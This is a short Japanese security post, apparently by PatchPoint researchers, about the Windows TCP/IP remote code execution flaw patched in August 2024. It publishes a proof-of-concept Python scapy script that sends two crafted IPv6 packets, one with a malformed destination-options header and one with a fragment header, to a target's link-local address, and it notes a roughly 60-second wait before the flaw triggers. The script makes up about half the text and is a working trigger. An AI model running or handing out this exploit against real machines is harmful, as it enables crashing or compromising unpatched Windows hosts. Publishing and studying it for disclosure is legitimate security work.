
2024年8月、MicrosoftはWindows TCP/IPのリモートコード実行(RCE)脆弱性に対するパッチをリリースしました。一部の研究者はすでにこの脆弱性のProof of Concept(PoC)を公開していますが、ほぼ同時期にPatchPointの研究者もこの問題の分析と再現を完了しました。 Twitterを含むさまざまなプラットフォームで誤情報が広まったため、この脆弱性を発動させるために必要な重要なポイントが誤解されているようです。そうした不正確な情報に反して、当社はこの脆弱性がわずか2パケットの送信のみで発動できることを示すPoCを公開することにしました。実際には、この脆弱性を発動させるために大量のパケットは必要ありません。
from scapy.all import *
IPAddr = '' # fe80::XXXX:XXXX:XXXX:XXXX
MACAddr = '' # XX:XX:XX:XX:XX:XX
ExtHdrDestOpt = Ether(dst=MACAddr) / IPv6(fl=1, dst=IPAddr) / IPv6ExtHdrDestOpt(options=[PadN(otype=0xC2)])
ExtHdrFragment = Ether(dst=MACAddr) / IPv6(fl=1, dst=IPAddr) / IPv6ExtHdrFragment()
sendp([ExtHdrDestOpt, ExtHdrFragment], verbose=False)

※ この脆弱性を発動させるには、約60秒の待機時間が必要です